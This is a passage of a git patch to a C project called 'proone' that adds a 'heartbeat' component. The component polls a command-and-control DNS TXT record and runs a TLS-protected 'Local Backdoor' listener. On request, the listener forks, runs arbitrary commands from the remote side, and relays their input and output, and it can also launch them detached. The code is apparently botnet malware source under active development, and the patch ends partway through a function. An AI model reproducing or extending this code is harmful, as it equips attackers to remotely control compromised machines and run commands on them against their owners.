From f36333b2c915ac7d9cf82e09ab5cb2a2f8296177 Mon Sep 17 00:00:00 2001
From: David Timber <mieabby@gmail.com>
Date: Sat, 29 Aug 2020 17:09:10 +0930
Subject: * _POSIX_C_SOURCE=199506L * Add proone-htbthost * Add prne_iobuf, use
 it in resolv, htbt * memzero() -> prne_memzero() now as a function * Add
 prne_mbedtls_pth_handle() * Protocol changes * Remove prne_unint_*() * Add
 src/proone_conf.skel

---
 src/Makefile.am               |   16 +-
 src/config.h                  |    2 -
 src/htbt.c                    | 1222 +++++++++++++++++++++++++++++++++++------
 src/htbt.h                    |   33 +-
 src/iobuf.c                   |   83 +++
 src/iobuf.h                   |   29 +
 src/mbedtls.c                 |   54 +-
 src/mbedtls.h                 |   15 +
 src/pack.c                    |    2 +-
 src/proone-htbtclient.c       |    0
 src/proone-htbthost.c         |  425 ++++++++++++++
 src/proone-mkdvault.c         |    1 +
 src/proone-pack.c             |    6 +-
 src/proone-resolv             |  Bin 144256 -> 0 bytes
 src/proone-resolv.c           |    6 +-
 src/proone-stress.c           |   18 +-
 src/proone-test_proto.c       |   38 +-
 src/proone-test_util.c        |    6 +-
 src/proone.c                  |   64 +--
 src/proone.h                  |    8 +-
 src/proone_conf.skel/config.h |    1 +
 src/proone_conf.skel/x509.h   |    6 +
 src/protocol.c                |  168 ++++--
 src/protocol.h                |   81 ++-
 src/pth.c                     |   77 +--
 src/pth.h                     |    6 +-
 src/resolv.c                  |  321 ++++++-----
 src/resolv.h                  |    1 +
 src/util_ct.h                 |    6 +-
 src/util_rt.c                 |   31 ++
 src/util_rt.h                 |   21 +-
 31 files changed, 2180 insertions(+), 567 deletions(-)
 create mode 100644 src/iobuf.c
 create mode 100644 src/iobuf.h
 create mode 100644 src/proone-htbtclient.c
 create mode 100644 src/proone-htbthost.c
 delete mode 100755 src/proone-resolv
 create mode 100644 src/proone_conf.skel/config.h
 create mode 100644 src/proone_conf.skel/x509.h

(limited to 'src')

diff --git a/src/Makefile.am b/src/Makefile.am
index 785aeb5..b695333 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -1,7 +1,6 @@
 BIN_ALIGNMENT = 8
 
-# TODO: Use -D_POSIX_C_SOURCE=200112L or -D_POSIX_C_SOURCE=2
-AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_GNU_SOURCE -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) -fdata-sections -ffunction-sections -Wl,--gc-sections
+AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_POSIX_C_SOURCE=199506L -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) -fdata-sections -ffunction-sections -Wl,--gc-sections
 if DEBUG
 AM_CFLAGS += -g -O0 -DPRNE_DEBUG
 else
@@ -22,7 +21,8 @@ bin_PROGRAMS =\
 	proone-list-arch\
 	proone-resolv\
 	proone-stress\
-	proone-ipaddr-arr
+	proone-ipaddr-arr\
+	proone-htbthost
 
 proone_tests =\
 	proone-test_proto\
@@ -40,7 +40,9 @@ libproone_a_SOURCES =\
 	imap.c\
 	mbedtls.c\
 	pth.c\
-	resolv.c
+	resolv.c\
+	htbt.c\
+	iobuf.c
 
 proone: proone.bin dvault.bin
 	cp -fa proone.bin proone
@@ -63,7 +65,6 @@ proone_mkdvault_LDADD = libproone.a
 proone_mkdvault_SOURCES = proone-mkdvault.c
 
 proone_pack_LDADD = libproone.a
-proone_pack_LDFLAGS =
 proone_pack_SOURCES = proone-pack.c
 
 proone_unpack_LDADD = libproone.a
@@ -71,13 +72,14 @@ proone_unpack_LDFLAGS =
 proone_unpack_SOURCES = proone-unpack.c
 
 proone_list_arch_LDADD = libproone.a
-proone_list_arch_LDFLAGS =
 proone_list_arch_SOURCES = proone-list-arch.c
 
 proone_resolv_LDADD = libproone.a
-proone_resolv_LDFLAGS =
 proone_resolv_SOURCES = proone-resolv.c
 
+proone_htbthost_LDADD = libproone.a
+proone_htbthost_SOURCES = proone-htbthost.c
+
 proone_ipaddr_arr_SOURCES = proone-ipaddr-arr.c
 
 proone_stress_LDADD = libproone.a
diff --git a/src/config.h b/src/config.h
index 04f73a9..bfcbc44 100644
--- a/src/config.h
+++ b/src/config.h
@@ -16,5 +16,3 @@
 
 #define PRNE_PROG_VER { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f }
 extern const prne_arch_t prne_host_arch;
-
-#define PRNE_CNC_TXT_REC "cnc.prne.mydomain.test" // CHANGE ME
diff --git a/src/htbt.c b/src/htbt.c
index 502c1e4..6168635 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -2,23 +2,43 @@
 #include "util_rt.h"
 #include "protocol.h"
 #include "llist.h"
-#include "dvault.h"
 #include "pth.h"
 #include "endian.h"
+#include "mbedtls.h"
+#include "iobuf.h"
 
+#include <string.h>
 #include <errno.h>
+
 #include <fcntl.h>
 #include <poll.h>
+#include <unistd.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
 
 // CNCP interval: HTBT_CNCP_INT_MIN + variance
-#define HTBT_CNCP_INT_MIN	1800000 // half an hour minimum interval
-#define HTBT_CNCP_INT_VAR	1800000 // half an hour variance
-#define HTBT_CNCP_PORT		prne_htobe16(55420)
+// #define HTBT_CNCP_INT_MIN	1800000 // half an hour minimum interval
+// #define HTBT_CNCP_INT_VAR	1800000 // half an hour variance
+// TODO
+#define HTBT_CNCP_INT_MIN	59000
+#define HTBT_CNCP_INT_VAR	2000
+#define HTBT_LBD_PORT		prne_htobe16(PRNE_HTBT_PROTO_PORT)
+#define HTBT_LBD_BACKLOG	4
+// LBD Socket Operation Timeout
+static const struct timespec HTBT_LBD_SCK_OP_TIMEOUT = { 10, 0 }; // 10s
+// LBD Socket Bind Retry Interval
+static const struct timespec HTBT_LBD_BIND_INT = { 5, 0 }; // 5s
+// LBD TLS Close Timeout
+static const struct timespec HTBT_LBD_CLOSE_TIMEOUT = { 3, 0 }; // 3s
+
 
 typedef struct {
 	pth_t pth;
 	prne_htbt_t *parent;
-	struct pollfd pfd;
+	prne_iobuf_t iobuf[2];
+	int fd;
+	bool valid;
+	mbedtls_ssl_context ssl;
 } htbt_lbd_client_t;
 
 typedef struct {
@@ -30,33 +50,33 @@ typedef struct {
 } htbt_req_slip_t;
 
 struct prne_htbt {
-	pth_t sigterm_pth;
-	mbedtls_ctr_drbg_context *rnd;
-	prne_resolv_t *resolv;
-	prne_llist_t req_q;
+	prne_htbt_param_t param;
+	pth_mutex_t lock;
+	pth_cond_t cond;
 	bool loop_flag;
 	struct { // Main
-		pth_mutex_t lock;
-		pth_cond_t cond;
+		prne_llist_t req_q;
 	} main;
 	struct { // CNC DNS Record Probe
 		pth_t pth;
 		pth_mutex_t lock;
 		pth_cond_t cond;
-		prne_pth_cv_t cv;
 	} cncp;
 	struct { // Local Backdoor
 		pth_t pth;
-		struct pollfd pfd;
-		prne_llist_t conn_list; // TODO: init
+		int fd;
+		prne_llist_t conn_list;
 	} lbd;
 };
 
 #define HTBT_INTP_CTX(x) prne_htbt_t *ctx = (prne_htbt_t*)(x);
 
-
 static void fin_htbt_wkr (void *p) {
-	// TODO
+	HTBT_INTP_CTX(p);
+
+	ctx->loop_flag = false;
+	prne_pth_cv_notify(&ctx->lock, &ctx->cond, true);
+	prne_pth_cv_notify(&ctx->cncp.lock, &ctx->cncp.cond, false);
 }
 
 static void free_htbt_wkr_ctx (void *p) {
@@ -64,12 +84,14 @@ static void free_htbt_wkr_ctx (void *p) {
 
 	// TODO
 
-	if (ctx->cncp.pth != NULL) {
-		pth_abort(ctx->cncp.pth);
-	}
-	if (ctx->lbd.pth != NULL) {
-		pth_abort(ctx->lbd.pth);
-	}
+	prne_free_llist(&ctx->main.req_q);
+	pth_abort(ctx->cncp.pth);
+
+	pth_abort(ctx->lbd.pth);
+	prne_close(ctx->lbd.fd);
+	prne_free_llist(&ctx->lbd.conn_list);
+
+	prne_free(p);
 }
 
 static void *htbt_main_entry (void *p) {
@@ -79,12 +101,19 @@ static void *htbt_main_entry (void *p) {
 	prne_assert(pth_resume(ctx->cncp.pth));
 
 	// TODO
+	while (ctx->loop_flag) {
+		pth_mutex_acquire(&ctx->lock, FALSE, NULL);
+		pth_cond_await(&ctx->cond, &ctx->lock, NULL);
+		pth_mutex_release(&ctx->lock);
+	}
+
+	prne_close(ctx->lbd.fd);
+	ctx->lbd.fd = -1;
 
-	prne_close(ctx->lbd.pfd.fd);
-	ctx->lbd.pfd.fd = -1;
-	prne_pth_cv_notify(&ctx->cncp.cv);
 	prne_assert(pth_join(ctx->lbd.pth, NULL));
 	prne_assert(pth_join(ctx->cncp.pth, NULL));
+	ctx->lbd.pth = NULL;
+	ctx->cncp.pth = NULL;
 
 	return NULL;
 }
@@ -92,170 +121,1037 @@ static void *htbt_main_entry (void *p) {
 static void htbt_cncp_do_probe (prne_htbt_t *ctx) {
 	prne_resolv_prm_t prm;
 	bool r_ret;
+	prne_pth_cv_t cv;
+	char txtrec[256];
 
 	prne_resolv_init_prm(&prm);
+	cv.lock = &ctx->cncp.lock;
+	cv.cond = &ctx->cncp.cond;
+	cv.broadcast = false;
 
+	if (!ctx->param.cb_f.cnc_txtrec(txtrec)) {
+		goto END;
+	}
+	txtrec[255] = 0;
 	r_ret = prne_resolv_prm_gettxtrec(
-		ctx->resolv,
-		prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL),
-		&ctx->cncp.cv,
+		ctx->param.resolv,
+		txtrec,
+		&cv,
 		&prm);
 	if (!r_ret) {
-		return;
+		goto END;
 	}
 
-	prne_pth_cond_timedwait(&ctx->cncp.cv, NULL, NULL);
-	if (prm.fut->qr == PRNE_RESOLV_QR_OK) {
+	pth_mutex_acquire(cv.lock, FALSE, NULL);
+	pth_cond_await(cv.cond, cv.lock, NULL);
+	pth_mutex_release(cv.lock);
+
+	if (prm.fut->qr == PRNE_RESOLV_QR_OK && prm.fut->rr_cnt > 0) {
+		// Scrub off the name
+		for (size_t i = 0; i < prm.fut->rr_cnt; i += 1) {
+			prne_memzero(prm.fut->rr[i].name, strlen(prm.fut->rr[i].name));
+		}
 		// TODO
 		// <entries in hex> <txt rec name suffix>
 	}
 
+END:
+	prne_memzero(txtrec, sizeof(txtrec));
 	prne_resolv_free_prm(&prm);
 }
 
-static void *htbt_cncp_entry (void *p) { // TODO: this works?
+static void *htbt_cncp_entry (void *p) {
 	HTBT_INTP_CTX(p);
 	unsigned long intvar;
-	struct timespec timeout;
+	pth_event_t ev = NULL;
+
+	while (ctx->loop_flag) {
+		htbt_cncp_do_probe(ctx);
 
-	while (true) {
 		// calc interval variance
-		intvar = 0;
-		mbedtls_ctr_drbg_random(ctx->rnd, &intvar, sizeof(intvar));
+		intvar = 0; // ignore failure of mbedtls_ctr_drbg_random()
+		mbedtls_ctr_drbg_random(
+			ctx->param.ctr_drbg,
+			(unsigned char*)&intvar,
+			sizeof(intvar));
 		intvar = HTBT_CNCP_INT_MIN + (intvar % HTBT_CNCP_INT_VAR);
-		timeout = prne_ms_timespec(intvar);
+		pth_event_free(ev, FALSE);
+		ev = pth_event(
+			PTH_EVENT_TIME,
+			prne_pth_tstimeout(prne_ms_timespec(intvar)));
 
 		// wait
-		prne_pth_cond_timedwait(&ctx->cncp.cv, &timeout, NULL);
+		prne_assert(ev != NULL); // fatal without timeout
+		pth_mutex_acquire(&ctx->lock, FALSE, NULL);
+		pth_cond_await(&ctx->cond, &ctx->lock, ev);
+		pth_mutex_release(&ctx->lock);
 		if (!ctx->loop_flag) {
 			break;
 		}
-
-		htbt_cncp_do_probe(ctx);
 	}
 
+	pth_event_free(ev, FALSE);
 	return NULL;
 }
 
-static void *htbt_lbd_client_entry (void *p) {
-	prne_llist_entry_t *ent = (prne_llist_entry_t*)p;
-	htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ent->element;
+static bool htbt_lbd_client_handshake (htbt_lbd_client_t *ctx) {
+	pth_event_t ev = pth_event(
+		PTH_EVENT_TIME,
+		prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT));
+	bool ret;
 
-	// TODO
+	ret = ev != NULL && prne_mbedtls_pth_handle(
+		&ctx->ssl,
+		mbedtls_ssl_handshake,
+		ctx->fd,
+		ev);
+	pth_event_free(ev, FALSE);
 
-	prne_close(ctx->pfd.fd);
-	ctx->pfd.fd = -1;
+	return ret;
 }
 
-static void *htbt_lbd_entry (void *p) {
-	HTBT_INTP_CTX(p);
+static void htbt_lbd_proc_close (htbt_lbd_client_t *ctx) {
+	pth_event_t ev;
+
+	ev = pth_event(
+		PTH_EVENT_TIME,
+		prne_pth_tstimeout(HTBT_LBD_CLOSE_TIMEOUT));
+	prne_mbedtls_pth_handle(
+		&ctx->ssl,
+		mbedtls_ssl_close_notify,
+		ctx->fd,
+		ev);
+	pth_event_free(ev, FALSE);
+	prne_shutdown(ctx->fd, SHUT_RDWR);
+	prne_close(ctx->fd);
+	ctx->fd = -1;
+
+	ctx->valid = false;
+}
+
+static void htbt_lbd_consume_outbuf (
+	htbt_lbd_client_t *ctx,
+	const size_t req_size,
+	pth_event_t root_ev)
+{
+	struct pollfd pfd;
 	int fret;
-	pth_event_t ev = NULL, ev_sub;
-	prne_llist_entry_t *ent;
-	htbt_lbd_client_t *client;
-	bool rebuild_ev = true;
 
-	while (true) {
-		if (rebuild_ev) {
-			pth_event_free(ev, TRUE);
-			ev = NULL;
+	pfd.fd = ctx->fd;
+	pfd.events = POLLOUT;
 
-			ent = ctx->lbd.conn_list.head;
-			while (ent != NULL) {
-				ev_sub = pth_event(
-					PTH_EVENT_TID | PTH_STATE_DEAD,
-					((htbt_lbd_client_t*)ent->element)->pth);
-				prne_assert(ev_sub != NULL);
-				if (ev == NULL) {
-					ev = ev_sub;
+	while (ctx->iobuf[1].len > 0) {
+		fret = pth_poll_ev(&pfd, 1, -1, root_ev);
+		if (root_ev != NULL &&
+			pth_event_status(root_ev) != PTH_STATUS_PENDING)
+		{
+			break;
+		}
+		if (fret == 1 && pfd.revents & POLLOUT) {
+			fret = mbedtls_ssl_write(
+				&ctx->ssl,
+				ctx->iobuf[1].m,
+				ctx->iobuf[1].len);
+			if (fret <= 0) {
+				ctx->valid = false;
+				break;
+			}
+			prne_iobuf_shift(ctx->iobuf + 1, -fret);
+		}
+		else {
+			break;
+		}
+
+		if (ctx->iobuf[1].avail >= req_size) {
+			break;
+		}
+	}
+}
+
+static void htbt_lbd_fab_frame (
+	htbt_lbd_client_t *ctx,
+	const prne_htbt_msg_head_t *mh,
+	const void *body,
+	prne_htbt_ser_ft ser_f,
+	pth_event_t root_ev)
+{
+	size_t req, actual;
+
+	req = 0;
+	prne_htbt_ser_msg_head(NULL, 0, &actual, mh);
+	req += actual;
+	ser_f(NULL, 0, &actual, body);
+	req += actual;
+
+	prne_assert(req <= ctx->iobuf[1].size);
+	htbt_lbd_consume_outbuf(ctx, req, root_ev);
+	if (!ctx->valid) {
+		return;
+	}
+
+	prne_htbt_ser_msg_head(
+		ctx->iobuf[1].m + ctx->iobuf[1].len,
+		ctx->iobuf[1].avail,
+		&actual,
+		mh);
+	prne_iobuf_shift(ctx->iobuf + 1, actual);
+	ser_f(
+		ctx->iobuf[1].m + ctx->iobuf[1].len,
+		ctx->iobuf[1].avail,
+		&actual,
+		body);
+	prne_iobuf_shift(ctx->iobuf + 1, actual);
+}
+
+static void htbt_lbd_fab_status (
+	htbt_lbd_client_t *ctx,
+	prne_htbt_status_code_t status,
+	int32_t err,
+	uint16_t corr_msgid,
+	pth_event_t root_ev)
+{
+	prne_htbt_msg_head_t mh;
+	prne_htbt_status_t s;
+
+	prne_htbt_init_msg_head(&mh);
+	prne_htbt_init_status(&s);
+	mh.id = corr_msgid;
+	mh.is_rsp = true;
+	mh.op = PRNE_HTBT_OP_STATUS;
+	s.code = status;
+	s.err = err;
+
+	htbt_lbd_fab_frame(
+		ctx,
+		&mh,
+		&s,
+		(prne_htbt_ser_ft)prne_htbt_ser_status,
+		root_ev);
+
+	prne_htbt_free_msg_head(&mh);
+	prne_htbt_free_status(&s);
+}
+
+static void htbt_lbd_raise_protoerr (
+	htbt_lbd_client_t *ctx,
+	uint16_t corr_msgid,
+	int32_t err,
+	pth_event_t root_ev)
+{
+	htbt_lbd_fab_status(
+		ctx,
+		PRNE_HTBT_STATUS_PROTO_ERR,
+		err,
+		corr_msgid,
+		root_ev);
+	htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev);
+	ctx->valid = false;
+}
+
+static void htbt_lbd_fab_unimpl (
+	htbt_lbd_client_t *ctx,
+	uint16_t corr_msgid,
+	pth_event_t root_ev)
+{
+	htbt_lbd_fab_status(
+		ctx,
+		PRNE_HTBT_STATUS_UNIMPL,
+		0,
+		corr_msgid,
+		root_ev);
+}
+
+static void htbt_lbd_srv_hostinfo (
+	htbt_lbd_client_t *ctx,
+	pth_event_t root_ev,
+	const prne_htbt_msg_head_t *mh)
+{
+	prne_htbt_host_info_t hi;
+
+	if (ctx->parent->param.cb_f.hostinfo == NULL) {
+		htbt_lbd_fab_unimpl(ctx, mh->id, root_ev);
+		return;
+	}
+
+	prne_htbt_init_host_info(&hi);
+
+	if (ctx->parent->param.cb_f.hostinfo(&hi)) {
+		htbt_lbd_fab_frame(
+			ctx,
+			mh,
+			&hi,
+			(prne_htbt_ser_ft)prne_htbt_ser_host_info,
+			root_ev);
+	}
+	else {
+		htbt_lbd_fab_status(
+			ctx,
+			PRNE_HTBT_STATUS_ERRNO,
+			errno,
+			mh->id,
+			root_ev);
+	}
+
+	prne_htbt_free_host_info(&hi);
+}
+
+static bool htbt_relay_child (
+	const int conn,
+	mbedtls_ssl_context *ssl,
+	prne_iobuf_t *iobuf,
+	int *c_in,
+	int *c_out,
+	int *c_err)
+{
+	bool ret = true;
+	struct pollfd pfd[4];
+	prne_htbt_stdio_t head[2];
+	int f_ret, pending, out_p = 0;
+	size_t actual;
+
+	pfd[0].fd = conn;
+	pfd[1].fd = *c_in;
+	pfd[2].fd = *c_out;
+	pfd[3].fd = *c_err;
+	prne_htbt_init_stdio(head + 0);
+	prne_htbt_init_stdio(head + 1);
+
+	while ((!head[0].fin && head[0].len > 0) ||
+		iobuf[1].len > 0 ||
+		pfd[1].fd >= 0 ||
+		pfd[2].fd >= 0 ||
+		pfd[3].fd >= 0)
+	{
+		pfd[0].events = 0;
+		if (iobuf[1].len > 0) {
+			pfd[0].events |= POLLOUT;
+		}
+		if (iobuf[0].avail > 0 && !(head[0].fin && head[0].len == 0)) {
+			pfd[0].events |= POLLIN;
+		}
+
+		if (head[0].len > 0 && iobuf[0].len > 0) {
+			pfd[1].events = POLLOUT;
+		}
+		else {
+			pfd[1].events = 0;
+		}
+
+		pfd[2].events = 0;
+		pfd[3].events = 0;
+		if (iobuf[1].len == 0) {
+			if (pfd[2 + out_p].fd < 0) {
+				out_p = (out_p + 1) % 2;
+			}
+			pfd[2 + out_p].events |= POLLIN;
+		}
+
+		f_ret = pth_poll(pfd, 4, -1);
+		if (f_ret < 0 && errno != EINTR) {
+			ret = false;
+			break;
+		}
+		if (f_ret == 0) {
+			break;
+		}
+
+		if (pfd[0].revents & POLLIN) {
+			f_ret = mbedtls_ssl_read(
+				ssl,
+				iobuf[0].m + iobuf[0].len,
+				iobuf[0].avail);
+			if (f_ret <= 0) {
+				break;
+			}
+			else {
+				prne_iobuf_shift(iobuf + 0, f_ret);
+				if (head[0].len == 0) {
+					if (prne_htbt_dser_stdio(
+						iobuf[0].m,
+						iobuf[0].len,
+						&actual,
+						head + 0) == PRNE_HTBT_SER_RC_OK)
+					{
+						prne_iobuf_shift(iobuf + 0, -actual);
+						if (head[0].len == 0 && head[0].fin) {
+							close(*c_in);
+							*c_in = -1;
+						}
+					}
+				}
+			}
+		}
+		if (pfd[0].revents & POLLOUT) {
+			f_ret = mbedtls_ssl_write(
+				ssl,
+				iobuf[1].m,
+				iobuf[1].len);
+			if (f_ret <= 0) {
+				break;
+			}
+			else {
+				prne_iobuf_shift(iobuf + 1, -f_ret);
+				if (pending > 0) {
+					pending -= f_ret;
 				}
 				else {
-					prne_assert(pth_event_concat(ev, ev_sub, NULL) != NULL);
+					head[1].len -= f_ret;
+					if (head[1].len == 0) {
+						out_p = (out_p + 1) % 2;
+					}
 				}
+			}
+		}
+		if (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR)) {
+			pfd[0].fd = -1;
+		}
 
-				ent = ent->next;
+		if (pfd[1].fd < 0 && head[0].len > 0) {
+			const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len);
+
+			prne_iobuf_shift(iobuf + 0, -consume);
+			head[0].len -= consume;
+		}
+		else if (pfd[1].revents) {
+			const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len);
+
+			f_ret = write(*c_in, iobuf[0].m, consume);
+			if (f_ret <= 0) {
+				pfd[1].fd = -1;
 			}
 
-			rebuild_ev = false;
+			prne_iobuf_shift(iobuf + 0, -consume);
+			head[0].len -= consume;
+			if (head[0].len == 0 && head[0].fin) {
+				close(*c_in);
+				*c_in = -1;
+				pfd[0].fd = -1;
+			}
+		}
+
+		if (pfd[2 + out_p].revents) {
+			if (head[1].len == 0) {
+				prne_assert(ioctl(pfd[2 + out_p].fd, FIONREAD, &pending) == 0);
+
+				head[1].len = (size_t)prne_op_min(
+					pending,
+					PRNE_HTBT_STDIO_LEN_MAX);
+				head[1].err = out_p != 0;
+				head[1].fin = head[1].len == 0;
+				prne_htbt_ser_stdio(
+					iobuf[1].m + iobuf[1].len,
+					iobuf[1].avail,
+					&actual,
+					head + 1);
+				pending = (size_t)actual;
+				prne_iobuf_shift(iobuf + 1, actual);
+
+				if (head[1].fin) {
+					pfd[2 + out_p].fd = -1;
+				}
+			}
+			else {
+				f_ret = read(
+					pfd[2 + out_p].fd,
+					iobuf[1].m + iobuf[1].len,
+					prne_op_min(head[1].len, iobuf[1].avail));
+				prne_dbgast(f_ret > 0);
+				prne_iobuf_shift(iobuf + 1, f_ret);
+			}
+		}
+	}
+
+	prne_htbt_free_stdio(head + 0);
+	prne_htbt_free_stdio(head + 1);
+	close(*c_in);
+	close(*c_out);
+	close(*c_err);
+	*c_in = -1;
+	*c_out = -1;
+	*c_err = -1;
+
+	return ret;
+}
+
+/* htbt_do_cmd()
+*
+* Give flushed output buffer.
+*/
+static void htbt_do_cmd (
+	const bool detach,
+	char *const *args,
+	const int conn,
+	mbedtls_ssl_context *ssl,
+	prne_iobuf_t *iobuf,
+	prne_htbt_status_code_t *out_status,
+	int32_t *out_err)
+{
+	int cin[2] = { -1, -1 };
+	int cout[2] = { -1, -1 };
+	int cerr[2] = { -1, -1 };
+	int errp[2] = { -1, -1 };
+	pid_t child = -1;
+	int f_ret;
+
+	if (pipe(errp) != 0 ||
+		fcntl(errp[0], F_SETFD, FD_CLOEXEC) != 0 ||
+		fcntl(errp[1], F_SETFD, FD_CLOEXEC) != 0)
+	{
+		*out_status = PRNE_HTBT_STATUS_ERRNO;
+		*out_err = errno;
+		goto END;
+	}
+	if (!detach &&
+		(pipe(cin) != 0 || pipe(cout) != 0 || pipe(cerr) != 0))
+	{
+		*out_status = PRNE_HTBT_STATUS_ERRNO;
+		*out_err = errno;
+		goto END;
+	}
+
+	child = pth_fork();
+	if (child == 0) {
+		do { // TRY
+			close(errp[0]);
+
+			if (detach) {
+				if (setsid() < 0) {
+					break;
+				}
+				close(STDIN_FILENO);
+				// Inherit these if DEBUG
+#if !defined(PRNE_DEBUG)
+				close(STDOUT_FILENO);
+				close(STDERR_FILENO);
+#endif
+			}
+			else {
+				close(cin[1]);
+				close(cout[0]);
+				close(cerr[0]);
+				if (prne_chfd(cin[0], STDIN_FILENO) != STDIN_FILENO ||
+					prne_chfd(cout[1], STDOUT_FILENO) != STDOUT_FILENO ||
+					prne_chfd(cerr[1], STDERR_FILENO) != STDERR_FILENO)
+				{
+					break;
+				}
+			}
+
+			execv(args[0], args);
+		} while (false);
+		// CATCH
+		*out_err = errno;
+		write(errp[1], out_err, sizeof(int32_t));
+		raise(SIGKILL);
+	}
+	else if (child < 0) {
+		*out_status = PRNE_HTBT_STATUS_ERRNO;
+		*out_err = errno;
+		goto END;
+	}
+
+	// The parent continues ...
+	close(errp[1]);
+
+	// This could block forever if the child gets stoppep
+	f_ret = pth_read(errp[0], out_err, sizeof(int32_t));
+	if (f_ret == sizeof(int32_t)) {
+		*out_status = PRNE_HTBT_STATUS_ERRNO;
+		goto END;
+	}
+	prne_close(errp[0]);
+	errp[0] = -1;
+
+	*out_status = PRNE_HTBT_STATUS_OK;
+	if (detach) {
+		*out_err = 0;
+		child = -1;
+	}
+	else {
+		int status;
+
+		prne_close(cin[0]);
+		prne_close(cout[1]);
+		prne_close(cerr[1]);
+		cin[0] = cout[1] = cerr[1] = errp[1] = -1;
+		if (!prne_sck_fcntl(cin[1]) ||
+			!prne_sck_fcntl(cout[0]) ||
+			!prne_sck_fcntl(cerr[0]))
+		{
+			*out_status = PRNE_HTBT_STATUS_ERRNO;
+			*out_err = errno;
+			goto END;
 		}
 
-		if (ctx->lbd.pfd.fd < 0) {
+		if (htbt_relay_child(conn, ssl, iobuf, &cin[1], &cout[0], &cerr[0])) {
+			if (pth_waitpid(child, &status, WUNTRACED) < 0) {
+				*out_status = PRNE_HTBT_STATUS_ERRNO;
+				*out_err = errno;
+				goto END;
+			}
+			else if (WIFEXITED(status)) {
+				*out_err = WEXITSTATUS(status);
+			}
+			else if (WIFSIGNALED(status)) {
+				*out_err = 128 + WTERMSIG(status);
+			}
+			else {
+				// child has been stopped just right before exit
+				*out_err = -1;
+			}
+			child = -1;
+		}
+		else {
+			*out_status = PRNE_HTBT_STATUS_ERRNO;
+			*out_err = errno;
+		}
+	}
+
+END:
+	prne_close(cin[0]);
+	prne_close(cin[1]);
+	prne_close(cout[0]);
+	prne_close(cout[1]);
+	prne_close(cerr[0]);
+	prne_close(cerr[1]);
+	prne_close(errp[0]);
+	prne_close(errp[1]);
+	if (child > 0) {
+		kill(child, SIGKILL);
+		pth_waitpid(child, NULL, 0);
+	}
+}
+
+static bool htbt_lbd_srv_run_cmd (
+	htbt_lbd_client_t *ctx,
+	pth_event_t root_ev,
+	const size_t off,
+	const prne_htbt_msg_head_t *mh)
+{
+	bool ret = false;
+	size_t actual;
+	prne_htbt_ser_rc_t s_ret;
+	prne_htbt_cmd_t cmd;
+	prne_htbt_status_code_t status = PRNE_HTBT_STATUS_ERRNO;
+	int32_t err = 0;
+
+	prne_htbt_init_cmd(&cmd);
+
+	s_ret = prne_htbt_dser_cmd(
+		ctx->iobuf[0].m + off,
+		ctx->iobuf[0].len - off,
+		&actual,
+		&cmd);
+	if (s_ret != PRNE_HTBT_SER_RC_MORE_BUF) {
+		prne_iobuf_shift(ctx->iobuf + 0, -(off + actual));
+	}
+	if (s_ret == PRNE_HTBT_SER_RC_FMT_ERR) {
+		htbt_lbd_raise_protoerr(ctx, mh->id, 0, root_ev);
+		goto END;
+	}
+	if (s_ret != PRNE_HTBT_SER_RC_OK) {
+		htbt_lbd_fab_status(
+			ctx,
+			PRNE_HTBT_STATUS_ERRNO,
+			errno,
+			mh->id,
+			root_ev);
+		goto END;
+	}
+
+	htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev);
+	if (root_ev != NULL && pth_event_status(root_ev) == PTH_STATUS_PENDING) {
+		htbt_do_cmd(
+			cmd.detach,
+			cmd.args,
+			ctx->fd,
+			&ctx->ssl,
+			ctx->iobuf,
+			&status,
+			&err);
+		htbt_lbd_fab_status(ctx, status, err, mh->id, root_ev);
+		ret = true;
+	}
+END:
+	prne_htbt_free_cmd(&cmd);
+	return ret;
+}
+
+static bool htbt_lbd_consume_inbuf (
+	htbt_lbd_client_t *ctx,
+	pth_event_t root_ev)
+{
+	prne_htbt_ser_rc_t s_ret;
+	prne_htbt_msg_head_t f_head;
+	size_t actual;
+	bool ret = true;
+
+	prne_htbt_init_msg_head(&f_head);
+
+	s_ret = prne_htbt_dser_msg_head(
+		ctx->iobuf[0].m,
+		ctx->iobuf[0].len,
+		&actual,
+		&f_head);
+	if (s_ret != PRNE_HTBT_SER_RC_OK) {
+		ret = false;
+		goto END;
+	}
+	if (f_head.is_rsp ||
+		(f_head.op != PRNE_HTBT_OP_NOOP && f_head.id == 0))
+	{
+		htbt_lbd_raise_protoerr(ctx, f_head.id, 0, root_ev);
+		ret = false;
+		goto END;
+	}
+
+	f_head.is_rsp = true;
+	switch (f_head.op) {
+	case PRNE_HTBT_OP_NOOP:
+		prne_iobuf_shift(ctx->iobuf + 0, -actual);
+		break;
+	case PRNE_HTBT_OP_HOST_INFO:
+		htbt_lbd_srv_hostinfo(ctx, root_ev, &f_head);
+		break;
+	case PRNE_HTBT_OP_RUN_CMD:
+		ret = htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head);
+		break;
+	case PRNE_HTBT_OP_RUN_BIN:
+	case PRNE_HTBT_OP_HOVER:
+	case PRNE_HTBT_OP_NY_BIN:
+	default:
+		htbt_lbd_raise_protoerr(
+			ctx,
+			f_head.id,
+			PRNE_HTBT_STATUS_UNIMPL,
+			root_ev);
+		ret = false;
+		break;
+	}
+
+END:
+	prne_htbt_free_msg_head(&f_head);
+
+	return ret;
+}
+
+static void *htbt_lbd_client_entry (void *p) {
+	htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)p;
+	int rw_size;
+	pth_event_t ev = NULL, ev_timeout = NULL;
+	struct pollfd pfd;
+	unsigned long ev_spec;
+
